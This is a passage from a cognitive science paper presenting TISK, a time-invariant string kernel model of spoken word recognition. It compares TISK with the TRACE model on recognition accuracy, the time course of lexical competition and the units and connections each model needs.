The input to the model is transient; activation is applied to feature units "left-to-right" in time, as an analog of real speech input. Features that are activated then send activation forward. In IA networks, activation persists even after the removal of bottom--up input, as activation decays gradually rather than instantaneously. So as time progresses beyond the moment aligned with slice *s*, units aligned at slice *s* can continue to be active. A unit\'s activation at a time step, *t*, is a weighted sum of its bottom--up input, its top--down input, and its own activation at time *t-1*, minus a decay constant. The crucial point in understanding TRACE is that time is represented in two different ways. First, stimulus time unfolds step-by-step, with bottom--up inputs for that step applied only in that step. Second, time-specific units at each level are aligned with a specific time step, *t*, but their activation can continue to wax and wane after the bottom--up stimulus has been applied at time *t*. This is because the model will only receive external input at time *t*, but activation will continue to flow among units aligned with time *t* as a function of bottom--up, top--down, and lateral connections within the model. This is what inspires the name "TRACE": activation of a unit at time *t* is a constantly updating memory of what happened at time *t* modulated by lateral and top--down input.
In the original TRACE paper, McClelland and Elman presented results demonstrating how TRACE accounts for about 15 (depending on how one counts) crucial phenomena in human speech perception and spoken word recognition (see also Strauss et al., [@B61] for a review). McClelland ([@B41]) demonstrated how the addition of stochastic noise allowed TRACE to account properly for joint effects of context and stimulus (in response to a critique by Massaro, [@B40]). More recently, TRACE has been successfully applied to the fine-grained time-course of effects of phonological competition (Allopenna et al., [@B1]), word frequency (Dahan et al., [@B11]), and subcateogorical (subphonemic) mismatches (Dahan et al., [@B12]), using the visual world paradigm (Tanenhaus et al., [@B63]). In this paradigm, eye movements are tracked as participants follow spoken instructions to interact with real or computer-displayed arrays of objects (see Cooper, [@B10], for an earlier, passive-task variant of the paradigm, the potential of which was not recognized at the time). While participants make only a few saccades per trial, by averaging over many trials, one can estimate the fine-grained time course of lexical activation and competition over time.
While some models have simulated aspects of visual world results (e.g., ShortlistB, Norris and McQueen, [@B51]), none has simulated the full set TRACE simulates, nor with comparable precision (although this assertion is based largely on absence of evidence---most models have not been applied to the full range of phenomena TRACE has; see Magnuson et al., [@B35], for a review). While TRACE is not a learning model, its ability to account for such a variety of findings in a framework that allows one to test highly specific hypotheses about the general organization of spoken word recognition (for instance TRACE\'s assumption of localist and separated levels of representations makes it easier to consider the impact of perturbing specific levels of organization, i.e., sublexical or lexical). However, while TRACE does an excellent job at fitting many phenomena, its translation of time to space via its time-specific reduplications of featural, phonemic and lexical units is notably inefficient (indeed, McClelland and Elman, [@B42] noted it themselves; p. 77). In fact, as we shall describe in detail below, extending TRACE to a realistic phoneme inventory (40 instead of 14) and a realistic lexicon size (20,000 instead of 212 words) would require approximately 4 million units and 80 billion connections. To us, this begs a simple question: is it possible to create a model that preserves the many useful aspects of TRACE\'s behavior and simplicity while avoiding the apparent inefficiency of reduplication of time-specific units at every level of the model? As we explain next, we take our inspiration from solutions proposed for achieving spatial invariance in visual word recognition in order to tackle the problem of temporal invariance in spoken word recognition.
1.1. Time and trace: man bites god
----------------------------------
Visual words have several advantages over spoken words as objects of perception. All their elements appear simultaneously, and they (normally) persist in time, allowing the perceiver to take as much time as she needs, even reinspecting a word when needed. In a series of words, spaces indicate word boundaries, making the idea of one-at-a-time word processing (rather than letter-by-letter sequential processing) possible. In speech, the components of words cannot occur simultaneously (with the exception of single-vowel words like "a"). Instead, the phonological forms of words must be recovered from the acoustic outcomes of a series of rapidly performed and overlapping (coarticulated) gymnastic feats of vocal articulators. A spoken word\'s parts are transient, and cannot be reinspected except if they are held in quickly decaying echoic memory. In a series of words, articulation and the signal are continuous; there are no robust cues to word boundaries, meaning the perceiver must somehow simultaneously segment and recognize spoken words on the fly. Any processing model of spoken word recognition will need some way to code the temporal order of phonemes and words in the speech stream. There are four fundamental problems the model will have to grapple with.
First, there is the "temporal order problem," which we might call the "*dog or god*" problem. If, for example, a model simply sent activation to word representations whenever any of their constituent phonemes were encountered without any concern for order, the sequences /dag/, /gad/, /agd/ (etc.) would equally and simultaneously activate representations of both *dog* and *god*. TRACE solves this by having temporal order built into lexical level units: a unit for *dog* is a template detector for the ordered pattern /d/-/a/-/g/, whereas a *god* unit is a template detector for /g/-/a/-/d/.
Second, there is the "multi-token independence problem," or what we might call the "*do/dude*" or "*dog eats dog*" problem: the need to encode multiple instances of the same phoneme (as in words like *dude*, *dad*, *bib*, *gig*, *dread*, or *Mississippi*) or word (as in *dog eats dog*). That is, a model must be able to treat the two instances of /d/ in *dude* and the two instances of *dog* in *dog eats dog* as independent events. For example, if we tried having a simple model with just one unit representing /d/, the second /d/ in *dude* would just give us more evidence for /d/ (that is, more evidence for *do*), not evidence of a new event. The same would be true for *dog eats dog*; a single *dog* unit would just get more activated by the second instance without some way of treating the two tokens as independent events. TRACE achieves multi-token independence by brute force: it has literally independent detectors aligned at different time slices. If the first /d/ is centered at slice 6, the /a/ (both /a/ and /ae/ are represented by /a/ in TRACE) will be centered at slice 12 and the final /d/ will be centered at slice 18. The two /d/ events will activate completely different /d/ phoneme units. Thus, TRACE achieves multi-token independence (the ability to "recognize" two temporally distant tokens of the same type as independent) by having time-specific detectors.
Third is the "*man bites dog*" problem, which is the temporal order problem extended to multi-word sequences. The model must have some way to code the ordering of words; knowing that the words *dog*, *man*, and *bites* have occurred is insufficient; the model must be able to tell *man bites dog* from *dog bites man*. Putting these first three problems together, we might call them the "*man bites god*" problem---without order, lexical ambiguities will lead to later phrasal ambiguities. TRACE\'s reduplicated units allow it to handle all three.
Finally, there is the "segmentation problem." Even if we ignore the primary segmentation problem in real speech (the fact that phonemes overlap due to coarticulation) and make the common simplifying assumption that the input to spoken word recognition is a series of already-recognized phonemes, we need a way to segment words. It may seem that this problem should be logically prior to the "*man bites dog*" problem, but many theories and models of spoken word recognition propose that segmentation emerges from mechanisms that map phonemes to words. For example, in the Cohort model (Marslen-Wilson and Tyler, [@B39]), speech input in the form of phoneme sequences is mapped onto lexical representations (ordered phonological forms) phoneme-by-phoneme. When a sequence cannot continue to be mapped onto a single word, a word boundary is postulated (e.g., given *the dog*, a boundary would be postulated at /d/ because it could not be appended to the previous sequence and still form a word). TRACE was inspired largely by the Cohort model, but rather than explicitly seeking and representing word boundaries, segmentation is emergent: lateral inhibition among temporally-overlapping word units forces the model to settle on a series of transient, temporary "winners"---word units that dominate at different time slices in the "trace."
Solving several problems at once is compelling, but the computational cost is high. Specifically, because TRACE relies on reduplication at every time slice of features, phonemes, and words, the number of units in the model will grow linearly as a function of the number of time slices, features, phonemes, and words. But because units in TRACE have inhibitory links to all overlapping units at the same level, the number of connections grows quadratically as units at any level increase. Scaling up the 14 phonemes in the original TRACE model to the approximately 40 phonemes in the English inventory would not in itself lead to an explosive increase in units or connections (see Appendix A). Moving from the original TRACE lexicon of just 212 words to a realistically-sized lexicon of 20,000 words, however, would. In fact, the original TRACE model, with 14 phonemes and 212 words would require 15,000 units and 45 million connections. Increasing the phoneme inventory would change the number of units to approximately 17,000 and the number of connections to 45.4 million. Increasing the lexicon to 20,000 words would result in 1.3 million units and 400 billion connections. How might we construct a more efficient model?
1.2. Visual and spoken word recognition
---------------------------------------
There are several reasons to believe that visual and spoken word recognition could share more mechanisms than is usually appreciated. To be sure, very salient differences exist between the visual and auditory modalities. One signal has a temporal dimension, the other is spatially extended. The former travels sequentially (over time) through the cochlear nerve, the latter in parallel through the optic nerve. In addition, just as in spoken word recognition, researchers in the field of visual word recognition have to ponder an invariance problem. Although a unique fixation near the center of a word is usually enough for an adult to recognize it (Starr and Rayner, [@B60]), ultimately this fixation has only stochastic precision and will rarely bring the same stimulus twice at exactly the same place on the retina, resulting in dissimilar retinal patterns. A credible model of the visual word recognition system should find a way to overcome this disparity in a word\'s many location exemplars, and to summon a unique lexical meaning and a unique phonology independently of wherever the visual stimulus actually fell on the retina.
1.3. String kernels
-------------------
In the machine learning literature, one computational technique that has been very successful at comparing sequences of symbols independently of their position goes under the name of string kernels (Hofmann et al., [@B31]). Symbols could be amino-acids, nucleotides, or letters in a webpage: in every case the gist of string kernels is to represent strings (such as "TIME") as points in a high-dimensional space of symbol combinations (for instance as a vector where each component stands for a combination of two symbols, and only the components for "TI," "TM," "TE," "IM," "IE," "ME" would be non-zero). It is known that this space is propitious to linear pattern separations and yet can capture the (domain-dependent) similarities between them. String kernels have also been very successful due to their computability: it is not always necessary to explicitly represent the structures in the space of symbol combinations in order to compute their similarity (the so-called "kernel trick," which we will not use here).
It has been argued that string kernels provide a very good fit to several robust masked priming effects in visual word recognition, such as for instance letter transposition effects (the phenomenon that a letter transposition like *trasnpose* better primes the original word than a stimulus with letter replacements, such as *tracmpose*), and are thus likely involved at least in the early stages of visual word encoding (Hannagan and Grainger, [@B29]). To our knowledge, however, there have been no published investigations of string kernels in the domain of spoken word recognition. While the notion of an open biphone may at first blush sound implausible, keep in mind that the open bigram string kernel approach affords spatial invariance for visual word recognition. Might it also provide a basis for temporal invariance for spoken words?
2. Tisk, the time invariant string kernel model of spoken word recognition: materials and methods
=================================================================================================
2.1. General architecture and dynamics
--------------------------------------
Our extension of the string kernel approach to spoken words is illustrated in Figure [3](#F3){ref-type="fig"}. It uses the same lexicon and basic activation dynamics as the TRACE model, but avoids a massive reduplication of units, as it replaces most time-specific units from TRACE with time-invariant units. It is comprised of four levels: inputs, phonemes, nphones (single phones and diphones) and words. Inputs consist of a bank of time-specific input units as in TRACE, through which a wave of transient activation travels. However, this input layer is deliberately very simplified compared to its TRACE analog. The input is like the Dandurand et al. ([@B13]) input layer, though in our case, it is a time slice × phoneme matrix rather than a spatial slot × letter matrix. Thus, for this initial assay with the model, we are deferring an implementation like TRACE\'s pseudo-spectral featural level and the details it affords (such as TRACE\'s rough analog to coarticulation, where feature patterns are extended over time and overlap). With our localist phoneme inputs, at any time there is always at most one input unit active---inputs do not overlap in time, and do not code for phonetic similarity (that is, the inputs are orthogonal localist nodes). Note that the use of time-specific nodes at this level is a matter of computational convenience without theoretical commitment or consequence; these nodes provide a computationally expedient way to pass sequences of phonemic inputs to the model, and could conceivably be replaced by a single bank of input nodes (but this would require other additions to the model to allow inputs to be "scheduled" over time). As in the TRACE model, one can construe these input nodes as roughly analogous to echoic memory or a phonological buffer. As we shall see, these simplifications do not prevent the model from behaving remarkably similarly to TRACE.
{#F3}
For our initial simulations, the model is restricted to ten slices (the minimum number needed for single-word recognition given the original TRACE lexicon), each with 14 time-specific phoneme units (one for each of the 14 TRACE phonemes). The input phoneme units feed up to an nphone level with one unit for every phoneme and for every ordered pairing of phonemes. The nphone units are time-invariant; there is only one /d/ unit at that level and only one /da/ diphone unit. Finally, nphone units feed forward to time-invariant (one-per-word) lexical units.
A critical step in the model is the transition between the time-specific phoneme input level and the time-invariant nphone level. This is achieved via entirely feedforward connections, the weights of which are set following certain symmetries that we will describe shortly. The nphone level implements a string kernel and consists of 196 + 14 units, one for each possible diphone and phoneme given the TRACE inventory of 14 phonemes. Units at this level can compete with one another via lateral inhibition, and send activation forward to the time invariant word level through excitatory connections, whose weights were normalized by the number of nphones of the destination word. The word level consists of 212 units (the original TRACE lexicon), with lateral inhibitory connections only between those words that share at least one phoneme at the level below. For this preliminary investigation, feedback connections from words to nphones were not included.
Units in the model are leaky integrators: at each cycle *t*, the activation *A*~*i*~ of unit *i* will depend on the net input it receives and on its previous activation, scaled down by a decay term, as described in Equation (1): $$A_{i}(t) = \begin{cases}
{A_{i}(t - 1) \ast (1 - \text{Decay})} & \\
{\text{~~~~} + \,\text{Net}_{i}(t) \ast (1 - A_{i}(t - 1)),} & {\text{if~Net}_{i} > 0} \\
{A_{i}(t - 1) \ast (1 - \text{Decay})} & \\
{\text{~~~~} + \,\text{Net}_{i}(t) \ast A_{i}(t - 1),} & {\text{if~Net}_{i} \leq 0} \\
\end{cases}$$ where the net input of unit *i* at time *t* is given by: $$\text{Net}_{i} = {\sum\limits_{j = 1}^{k}{w_{ij}A_{j}(t)}}$$
Python code for the model is available upon request to the first author, and a list of parameters is provided below as supplemental data. In the next section, we describe in detail the connections between time-specific phonemes and time-invariant nphones.
2.2. From time-specific to time-invariant units: A symmetry network for phonological string kernels
---------------------------------------------------------------------------------------------------
We now describe the transition phase between time-specific phonemes and time-invariant nphones in the TISK model. It is clear that unconstrained (that is, unordered) "open diphone" connectivity would be problematic for spoken words; for example, if *dog* and *god* activated exactly the same diphones (/da/, /dg/, /ag/, /ga/, /gd/, /ad/), the system would be unable to tell the two words apart. The challenge is to activate the correct diphone /da/, but not /ad/, upon presentation of a sequence of phonemes like \[/*d*/~*t*~, /*a*/~*t*\ +\ 1~\], that is, phoneme /d/ at time *t* and phoneme /a/ subsequently. Thus, the goal is to preserve activation of non-adjacent phonemes as in an open diphone scheme (for reasons explained below) with the constraint that only observed diphone sequences are activated---that is, *dog* should still activate a /dg/ diphone (as well as /da/ and /ag/) because those phonemes have been encountered in that sequence, but not /gd/, while *god* should activate /gd/ but not /dg/. This would provide a basis for differentiating words based on sequential ordering without using time-specific units "all the way up" through the hierarchy of the model.
The issue of selectivity (here, between "anadromes": diphones with the same phonemes in different order) vs. invariance (here, to position-in-time) has long been identified in the fields of visual recognition and computer vision, and has recently received attention in a series of articles investigating invariant visual word recognition (Dandurand et al., [@B13], [@B14]; Hannagan et al., [@B28]).
Directly relevant to this article, Dandurand et al. ([@B14]) trained a simple perceptron network (that is, an input layer directly connected to an output layer, with weights trained using the delta rule) to map location-specific strings of letters to location-invariant words. To their surprise, not only did this simplistic setup succeed in recognizing more than 5000 words, a fair fraction of which were anagrams, it also produced strong transposition effects. By introducing spatial variability---the "i" in *science* could occur in many different absolute positions rather than just one---tolerance for slight misordering in relative position emerged. When Dandurand et al. ([@B14]) investigated how the network could possibly succeed on this task in the absence of hidden unit representations, they observed that during the course of learning, the "Delta learning rule" had found an elegant and effective way to keep track of letter order by correlating connection strengths with the location of the unit. More precisely, the connections coming from all "e" units and arriving at word *live* had their weights increasing with the position, whereas the connections from the same units to the word *evil* had their weights decreasing with position. In this way, connection weights became a proxy for the likelihood of a word given all letters at all positions. This simple scheme enabled the network to distinguish between anagrams like *evil* and *live*. We describe next how this solution found by the delta rule can be adapted to map time-specific phonemes to time-invariant diphones or single phonemes.
The network in Figure [4](#F4){ref-type="fig"} has two symmetries: firstly, weights are invariant to changes in input phoneme *identity* at *any given time*. This is manifest in Figure [4](#F4){ref-type="fig"} by the symmetry along the medial vertical axis: for any *t*, *a*~*t*~ and *b*~*t*~ can exchange their weights. Secondly, weights are invariant to changes in input phonemes *identity* across *opposite times* (in Figure [4](#F4){ref-type="fig"}), a central symmetry with center midway through the banks of input phonemes: for any *t* ≤ *T*, *a*~*t*~ and *b*~*T*\ −\ *t*~ are identical, and so are *b*~*t*~ and *a*~*T*\ −\ *t*~. Although the first symmetry concerns both excitatory (arrows) and gating connections (crosses, which will be shortly explained), the second symmetry concerns only excitatory connections.
{#F4}
What is the point of these symmetries? Consider a network where the weights have been set up as in Figure [4](#F4){ref-type="fig"}. Then at all possible times *t*, presenting the input sequence \[/*a*/~*t*~, /*b*/~*t*\ +\ 1~\] by clamping the appropriate units to 1 will always result in a constant net input for /*ab*/, here a net input of 4, and it will always result in a smaller constant net input to /*ba*/, here a net input of 2. A common activation threshold for every diphone unit can then be set anywhere between these two net inputs (for instance, a threshold of 3), that will ensure that upon perceiving the sequence \[/*a*/~*t*~, /*b*/~*t*\ +\ 1~\] the network will always recognize /*ab*/ and not /*ba*/. The same trick applies for the complementary input sequence \[/*b*/~*t*~, /*a*/~*t*\ +\ 1~\], by setting the weights from these phoneme units to the transposed diphone /*ba*/ in exactly the opposite pattern. A subtlety, however, is that in order to prevent sequences with repeated phonemes like \[/*b*/~1~, /*a*/~2~, /*b*/~3~\] from activating large sets of irrelevant nphones like /*br*/ or /*bi*/, it is necessary to introduce gating connections (cross-ended connections in Figure [4](#F4){ref-type="fig"}), whereby upon being activated, unit /*b*/~1~ will disable the connection between all future /*b*/~*t*~ \>1 and all diphones /^\*^*b*/ (where "\*" stands for any phoneme but *b*).
The use of gating connections is costly, as the number of connections needed is proportional to the square of the number of time slices, but less naïve gating mechanisms exist with explicit gating units that would be functionally equivalent at a much smaller cost (linear with increasing numbers of time slices). More generally, other mappings between time-specific phonemes and time-invariant n-phones are possible. However, our approach is cast within the theory of symmetry networks (Shawe-Taylor, [@B59]), which ensures that several mathematical tools are available to carry out further analysis. The particular symmetry network introduced here arguably also has a head-start in learnability, given that it builds on a solution found by the delta rule. Specifically, in a perceptron trained to recognize visual words (Dandurand et al., [@B14]), the Delta rule found the "central symmetry through time" visible in Figure [4](#F4){ref-type="fig"}. We do not know if pressure to represent temporal sequences would allow the model to discover the "axial" symmetry and necessity for gating connections, but this is a question we reserve for future research. We note that some studies have reported the emergence of symmetry networks in more general settings than the delta rule and word recognition, that is, under unsupervised learning algorithms and generic visual inputs (Webber, [@B64]). Perhaps the best argument for this architecture is that it is reliable, and allows for the activation of the kind of "string kernels" recently described by Hannagan and Grainger ([@B29]), at a computational cost that can be regarded as an upper-bound and yet is not prohibitive.
3. Results {#s2}
==========
3.1. Performance on single word recognition
-------------------------------------------
We begin with a comparison of TISK and TRACE in terms of the recognition time of each word in the original 212-word TRACE lexicon. If TISK performs like TRACE, there should be a robust correlation between the recognition time for any particular word in the two models. We operationalized spoken word recognition in three different ways: an absolute activation threshold (*R*~abs~), a relative activation threshold (*R*~rel~) and a time-dependent criterion (*R*~tim~). The first criterion states that a word is recognized if its activation reaches an absolute threshold, common to all words. In the second criterion, recognition is granted whenever a word\'s activation exceeds that of all other words by a threshold (0.05 in the simulations). Finally the time-dependent criterion defines recognition as a word\'s activation exceeding that of all other words for a certain number of cycles (10 cycles in the simulations).
Spoken word recognition accuracy for TRACE is consistently greater than that for TISK in these simulations, although both models obtain high performance under all criteria. TRACE exhibits close to perfect recognition with the three criteria (*T*~abs~ = 97%, *T*~rel~ = 99%, *T*~tim~ = 99%). TISK on the other hand operates less well under an absolute criterion, but recognition is improved using a relative threshold, and it rises to TRACE-like level with a time-dependent threshold (*T*~abs~ = 88%, *T*~rel~ = 95%, *T*~tim~ = 98%). Also, mean recognition cycles are similar for TRACE (*T*~abs~ = 38 cycles, *T*~rel~ = 32 cycles, *T*~tim~ = 40 cycles) and for TISK (*T*~abs~ = 45 cycles, *T*~rel~ = 38 cycles, *T*~tim~ = 40 cycles). At the level of individual items, performance is very similar for the two models, as revealed by high correlations between recognition times (for correctly recognized items) under all three recognition definitions (r for each definition: *T*~abs~ = 0.68, *T*~rel~ = 0.83, *T*~tim~ = 0.88). Figure [5](#F5){ref-type="fig"} illustrates the correlation between response times in the case of *T*~tim~. In the rest of this article we will use the time-dependent criterion *T*~tim~, as the one with which models achieved both the best performance and the most similar performance.
{#F5}
It is also instructive to consider the two words on which TISK failed, /triti/ (*treaty*) and /st\^did/ (*studied*). Indeed the model confused these words with their respective embedded cohort competitors /trit/ (*treat*) and /st\^di/ (*study*). For the model these are the most confusable pairs of words in the lexicon, because in each case almost exactly the same set of nphones is activated for the target and the cohort competitor, except for one or two n-phones (the only additional diphone for *treaty* compared to *treat* is /*ii*/; *studied* activates two additional diphones compared to *study*: /dd/ and /id/). It is certainly possible to fine-tune TISK so as to overcome this issue. Note also that TISK recognizes correctly the vast majority of words containing embeddings, including word-onset embeddings.
But these particular failures are perhaps more valuable in that they point to the type of learning algorithm that could be used in the future, in TISK as in TRACE, to find the connection weights in a more principled manner. Namely, they strongly suggest that a learning algorithm should attribute more weight to these connections that are the most diagnostic given the lexicon (e.g., connection /ii/ to /triti/).
3.2. Time course of lexical competitors
---------------------------------------
As previously observed, what is impressive about the TRACE model is less its ability to recognize 212 English words than the way it does so, which captures and explains very detailed aspects of lexical competition in human spoken word recognition. Consider the so-called "Visual World Paradigm" (Tanenhaus et al., [@B63]), in which subjects\' eye movements are tracked as they follow verbal instructions to manipulate items in a visual display. When the items include objects with similar sounding names (e.g., so-called "cohort" items with the same word onset, such as *beaker* and *beetle*, or rhymes, such as *beaker* and *speaker*) as well as unrelated items to provide a baseline, eye movements provide an estimate of activation of concepts in memory over time. That is, the proportion of fixations to each item over time maps directly onto phonetic similarity, with early rises in fixation proportions to targets and cohorts and later, lower fixation proportions to rhymes (that are still fixated robustly more than unrelated items; Allopenna et al., [@B1]). Allopenna et al. also conducted TRACE simulations with items analogous to those they used with human subjects, and found that TRACE accounted for more than 80% of the variance in the over-time fixation proportions.
In order to assess how TISK compares to TRACE in this respect, we subjected the model to simulations analogous to those used by Allopenna et al. ([@B1]). However, rather than limiting the simulations to the small subset of the TRACE lexicon used by Allopenna et al., we actually conducted one simulation for every (correctly recognized) word in the TRACE lexicon with both TRACE and TISK. We then calculated average target activations over time, as well as the over-time average activation of all cohorts of any particular word (words overlapping in the first two phonemes), any rhymes, and words that embed in the target (e.g., for *beaker*, these would include *bee* and *beak*, whereas for *speaker*, these would be *speak*, *pea*, *peek*). Rather than selecting a single word to pair with each word as its unrelated baseline, we simply took the mean of all words (including the target and other competitors); because most words are not activated by any given input, this hovers near resting activation levels (−0.2 for TRACE, 0 for TISK). The results are shown in Figure [6](#F6){ref-type="fig"}.
{#F6}
Readers familiar with the Allopenna et al. article will notice some differences in our TRACE simulation results compared to theirs. First, we have activations below zero, while they did not. This is because Allopenna et al. followed the standard practice of treating negative activations as zero. Second, our rhyme activations remain below zero, even though they are robustly higher than those of the mean activation baseline. Having robustly positive rhyme activations in TRACE requires the use of a carrier phrase like the one used by Allopenna et al. (or a transformation to make all activations above resting level positive); without this, because there is strong bottom--up priority in TRACE, cohorts will be so strongly activated that rhyme activation will be difficult to detect. However, what really matters for our purposes is the relative activations of each competitor type, which are clearly consistent between the two models.
3.3. Lexical factors influencing recognition
--------------------------------------------
Let\'s return to item level recognition times. We can probe the models more deeply by investigating how recognition times vary in each model with respect to the lexical dimensions that have attracted the most attention in the spoken word recognition literature. Figure [7](#F7){ref-type="fig"} presents the correlation between recognition cycles and six standard lexical variables: the length of the target (Length), how many words it embeds in (Embeddings), how many words embed in it (Embedded), how many deletion/addition/subsitution neighbors it has (Neighbors), the number of words with which it shares 2 initial phonemes (Cohorts), and the number of words that overlap with it when its first phoneme is removed (Rhymes).
{#F7}
Figure [7](#F7){ref-type="fig"} shows that among the six lexical dimensions considered, three are inhibitory dimensions (Length, Embedded words and Cohorts) and three are clearly facilitatory dimensions (Neighbors, Embeddings, and Rhymes). Crucially, precisely the same relationships are seen for both models, with an agreement that is not only qualitative but also quantitative.
Facilitatory variables are perhaps the most surprising, as neighborhood has long been construed as an inhibitory variable for spoken word recognition. Although the precise details are not relevant for this initial presentation of TISK, further inspection of these neighborhood effects reveals that there is an interaction of neighborhood with word length; for longer words, neighbors begin to have a facilitative effect. The crucial point is that one can see that TRACE and TISK behave in remarkably similar ways---and both make intriguing, even counter-intuitive, but testable predictions.
3.4. Computational resources
----------------------------
We will end this comparison with an assessment of the resources needed in both models. Table [1](#T1){ref-type="table"} shows the number of connections and units in TRACE and TISK, as calculated in Appendix C. The figures for TRACE are obtained by considering the number of units required per slice in the model (starting from the phoneme level, for a fair comparison with TISK which doesn\'t use a featural level): 14 phonemes, and, in the basic TRACE lexicon, 212 words, for 226 units. Now assuming an average of 3 phonemes per word, and allowing for connections between units at adjacent time slices, TRACE needs approximately 225,000 connections per time slice. If we make the trace 200 time slices long (which assuming 10 ms per slice would amount to 2 s, the duration of echoic memory), we need approximately 15,000 units and 45 million connections. Increasing the lexicon to a more realistic size of 20,000 words and the phoneme inventory to 40, these figures reach approximately 1.3 million units and 400 billion connections.
######
**Estimates of the number of units and connections required in TRACE and TISK for 212 or 20,000 words, 14 or 40 phonemes, an average of four phonemes per word, and assuming 2 s of input stream**.
**212 words 14 phonemes** **212 words 40 phonemes** **20,000 words 40 phonemes**
------------- --------------------------- --------------------------- ------------------------------ ------------ ------------- ---------------
Units 15, 067 3222 16, 800 9852 1, 336, 000 29, 640
Connections 45, 049, 733 3, 737, 313 45, 401, 600 31,718,357 \>4E + 11 348, 783, 175
Next let us consider the situation in TISK. With a 2 s layer of time-specific input units (again, corresponding to the approximate limit of echoic memory), 14 phonemes and 212 words as in TRACE, TISK requires 3.2 thousand units and 3.7 million connections. This represents a 5-fold improvement over TRACE for units, and a 15-fold improvement for connections. With 20,000 words and 40 phonemes, TISK would require approximately 29,000 units (TRACE requires 45 times more) and 350 million connections (TRACE requires 1.1 thousand times more).
Figure [8](#F8){ref-type="fig"} presents an overview of the number of connections as a function of trace duration (number of time slices) and lexicon size in TISK and in TRACE. The most striking feature already apparent in Table [1](#T1){ref-type="table"} is that TRACE shows an increase in connections which dwarfs the increase in TISK. But Figure [8](#F8){ref-type="fig"} also shows that in TRACE this increase is quadratic in lexicon size and steeply linear in time slices, while connection cost in TISK looks linear in both variables with very small slopes. While Appendix B demonstrates that both functions are actually quadratic in the number of words (due to lateral inhibition at the lexical level in both models), there is still a qualitative difference in that the quadratic explosion due to the word level is not multiplied by the number of time slices in TISK, like it is in TRACE---decoupling trace duration and lexicon size was, after all, the whole point of this modeling exercise.
{#F8}
What is the significance of this computational economy for spoken word recognition? We would argue that it makes it easier to examine the behavior of the model at large scales. The 400 billion connections required in TRACE currently discourage any direct implementation with a realistic lexicon. However, word recognition behavior in IA models like TRACE and TISK is exquisitely sensitive to the nature of lexical competition. One should therefore not be content with effects obtained using an artificial sample of 200 words but should aim at running the model on the most realistic lexicon possible.
Depending on the precise linking assumptions one is willing to make between units and connections on the one hand, and actual neurons and synapses on the other hand (see, for instance, de Kamps and van der Velde, [@B16] for a well-motivated attempt), one may or may not find that for some large but still reasonable lexicon size the connection cost in TRACE becomes larger than the sum total of all available synapses in the brain, whereas Figure [8](#F8){ref-type="fig"} and Appendix B suggest that the cost in TISK would be orders of magnitude smaller and may barely make a dent in the synaptic budget.
But even leaving aside this possibility, the notion that wiring cost should come into consideration when modeling cognitive systems appears to be rather safe. Firing neurons and maintaining operational synapses has a high metabolic cost, and the pressure to perform such a ubiquitous task as spoken word recognition would seem to demand an implementation that balances cost and efficiency in the best possible way. Although the connections in TRACE or TISK are meant to be functional rather than biological, metabolic costs at the biological level constrain connectivity at the functional level: numerous functional networks as derived from human brain imaging achieve economical trade-offs between wiring cost and topological (connectivity) efficiency (Bullmore and Sporns, [@B4]). Recent investigations with artificial neural networks have also shown that minimizing the number of connections can improve performance by favoring the emergence of separate levels of representations (Clune et al., [@B6]).
4. Discussion {#s3}
=============
4.1. Spoken and visual word recognition: A bridge between orthography and phonology
-----------------------------------------------------------------------------------
In 1981, McClelland and Rumelhart presented an interactive-activation model of visual word recognition that was to be a major inspiration for the TRACE model of spoken word recognition (McClelland and Elman, [@B42]) and an inspiration for future generations of reading researchers. Most important is that in Figure [1](#F1){ref-type="fig"} of their article, McClelland and Rumelhart sketched an overall architecture for visual and auditory word perception, describing interconnections between the two in the form of reciprocal letter-phoneme connections. This architecture clearly predicts that visual word recognition should be influenced on-line by phonological knowledge and spoken word recognition should be influenced by orthographic knowledge. Support for these predictions has since been provided by a host of empirical investigations (see Grainger and Ziegler, [@B25] for a review). Strangely enough, however, attempts to implement such a bi-modal architecture have been few and far between. Research on visual word recognition has come the closest to achieving this, with the development of computational models that include phonological representations (Seidenberg and McClelland, [@B58]; Plaut et al., [@B55]; Coltheart et al., [@B9]; Perry et al., [@B53]).
With respect to spoken word recognition, however, to our knowledge no computational model includes orthographic representations, and although our TISK model of spoken word recognition is not an improvement in this respect, it was nevertheless designed with the constraint of eventually including such representations in mind. As such, TISK not only provides an answer to McClelland and Elman\'s question of how to avoid duplication in TRACE, but also picks up on McClelland and Rumelhart\'s challenge to develop a truly bimodal model of word recognition. One model has been developed along the lines initially suggested by McClelland and Elman ([@B42])---this is the bimodal interactive-activation model (Grainger et al., [@B22]; Grainger and Holcomb, [@B23]), recently implemented by Diependaele et al. ([@B17]). Future extensions of this work require compatibility in the way sublexical form information is represented for print and for speech. The present work applying string kernels to spoken word recognition, along with our prior work applying string kernels to visual word recognition (Hannagan and Grainger, [@B29]), suggest that this particular method of representing word-centered positional information provides a promising avenue to follow. Indeed, string kernels provide a means to represent order information independently of whether the underlying dimension is spatial or temporal, hence achieving spatial invariance for visual words and temporal invariance for spoken words.
4.2. Testing for temporal invariance in spoken word recognition
---------------------------------------------------------------
Researchers interested in the neural representations for visual words are blessed with the Visual Word Form Area, a well-defined region in the brain that sits at the top of the ventral visual stream, and is demonstratively the locus of our ability to encode letter order in words or in legal non-words (Cohen et al., [@B7]; Gaillard et al., [@B20]) but is not selectively activated for spoken words. Until recently, the common view was that by the mere virtue of its situation in the brain, if not by its purported hierarchical architecture with increasingly large receptive fields, the VWFA was bound to achieve complete location invariance for word stimuli. However, recent fMRI studies show that, and computational modeling explains why, a significant degree of sensitivity to location is present in the VWFA (Rauschecker et al., [@B65]). A trained, functional model of location invariance for visual words explains why this can be so (Hannagan and Grainger, [@B30]). In this model the conflicting requirements for location invariant and selectivity conspire with limited resources, and force the model to develop in a symmetry network with broken location symmetry on its weights (Hannagan et al., [@B28]). This in turn produces "semi-location invariant" distributed activity patterns, which are more sensitive to location for more confusable words (Hannagan and Grainger, [@B30]). Thus brain studies have already been highly informative and have helped constrain our thinking on location invariance in visual words.
